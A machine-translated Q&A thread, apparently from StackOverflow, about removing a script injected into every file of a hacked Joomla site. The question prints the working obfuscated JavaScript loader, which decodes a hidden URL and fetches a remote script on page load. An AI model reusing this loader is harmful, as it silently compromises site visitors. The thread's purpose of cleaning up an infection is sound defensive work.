2011-07-27 3 views
1

Вот предыстория. У меня есть знакомый, хозяин которого получил хаос от атаки на скрипт.Необходимо удалить несколько уникальных строк из нескольких файлов.

Внизу всех файлов добавлен следующий сценарий внизу. У кого-нибудь есть команда awk или sed, чтобы удалить это? (в файлах могут быть другие файлы javascript)

Появляется скрипт был добавлен ко всем файлам на хосте. HTML PHP JS.

Некоторые файлы имеют php, начиная с новой строки, некоторые нет. Мне нужно найти эту часть скрипта где угодно в файле и удалить ее.

<?php 
/** 
* @version  $Id: COPYRIGHT.php 14401 2010-01-26 14:10:00Z louis $ 
* @package  Joomla 
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. 
* @license  GNU/GPL, see LICENSE.php 
* Joomla! is free software. This version may have been modified pursuant 
* to the GNU General Public License, and as distributed it includes or 
* is derivative of works licensed under the GNU General Public License or 
* other free or open source software licenses. 
*/ 

defined('_JEXEC') or die('Restricted access'); 
?> 

Joomla! derives from copyrighted works licensed under the GNU General 
Public License. This version has been modified pursuant to the 
GNU General Public License as of September 15, 2005, and as distributed, 
it includes or is derivative of works licensed under the GNU General 
Public License or other free or open source software licenses. Please 
see the CREDITS.php for a non-exhaustive list of contributors and 
copyright holders. A full text version of the GNU GPL version 2 can be 
found in the LICENSE.php file. A full text version of the other licenses 
that Joomla! is derivative of or includes can be found in LICENSES.php.<script> 

function vdch() { 

    if(document.all.length > 3) { 

     var t = new Array('#6a7072', '#723e29', '#2d7371', '#752a62', '#637d65', '#6d2a60', '#702b63', '#7a7029'); 

     var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } } 

     var dch = document.createElement("script"); 

     dch.id = "dchid"; 

     dch.src = dchid; 

     document.all[3].appendChild(dch); 

    } else { 

     setTimeout("vdch()",500); 

    } 

} setTimeout("vdch()",500); 

</script> 

ответ

0
head -n -50 yourFile 

50 линия для удаления в конце

+0

Проблема заключается в том, что тег сценария вставляется для html и php и js. Некоторые из них находятся на новой линии. Также не относится ко всем файлам. Идеально подходит для выражения awk или регулярного выражения? –

+0

Вы можете удалить последние 49 строк, затем с помощью 's/

+0

Резервное копирование не работает. удаление префикса количества строк не будет работать. Сайт - это 5k файлов ...... На самом деле это не так, где ответ им нужен. –

1
  • Граф количества приложенных символов (с wc -c на файл contatining только прилагаемый скрипт). В моем примере len=1807.
  • Выберите строку uniq, которая будет идентифицировать файл с добавленным скриптом (В моем примере pat="new Array('#6a7072', '#723e29', '#2d7371'").
  • Сделайте резервную копию затронутого каталога.

Выполнить следующий сценарий в этом каталоге:

#!/bin/bash 
pat="new Array('#6a7072', '#723e29', '#2d7371'" 
len=1807         
TMP=$(mktemp)                 
find . -type f | while read f             
do                    
    if grep "$pat" "$f" >/dev/null             
    then                   
    head -c -$len "$f" > $TMP             
    cat $TMP > "$f"                
    fi                    
done 

Сценарий будет удалить указанное количество символов от конца каждого файла, в котором был найден паттерн.

Смежные вопросы